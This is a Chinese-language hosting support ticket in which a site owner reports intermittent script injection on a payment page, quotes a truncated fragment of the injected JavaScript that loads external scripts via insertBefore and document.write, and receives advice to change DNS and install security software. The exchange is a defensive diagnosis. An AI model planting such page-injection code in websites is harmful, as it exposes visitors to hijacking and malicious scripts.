问：白天已经提交过一次，工单是：https://www.west.cn/manager/question/show.asp?qid=，没有解决。
经过我们技术人员排查，使用chrome手机模式在频繁刷新支付页面的时候会出现以下代码：ElementsByTagName(\”script\”)[0];s.parentNode.insertBefore(_cyd_location_script,s);s.parentNode.insertBefore(_cyd_target_script,s)}else{document.write(\'<script src=\”\’ _cyd_location_url _cyd_f_param \’\”><\\/script>\’);document.write(\'<script src=\”\’ _cyd_target_url \’\”><\\/script>\’)}}();这段代码在网站程序中没有排查出来。
刷新的支付页面是：http://cesuan.tianxuan.org.cn/bazijingpi/order/sn/EH5110不是每次都出现，是偶尔随机出现的。。
网上搜索出现类似案例：https://www.bt.cn/bbs/forum.php?mod=viewthread&tid=16491&page=1#pid55809
还请帮忙看看。。是不是服务器哪里出现了问题？昨晚才开始出现。,网站挂马中毒非法信息
答：您好，这个问题按照您提供bt说明,只有尝试更换dns再观察,同时推荐服务器上安装一些安全软件进行拦截 ,比如安全狗软件,或者云锁,可以对异常劫持木马异常进程进行检测
问：已经查出来了。非常感谢。
答：您好，好的，如果使用中有其他问题,可再次提交新的工单描述遇到的问题即可,我司将7*24小时竭诚为您服务,非常感谢您长期对我司的支持!
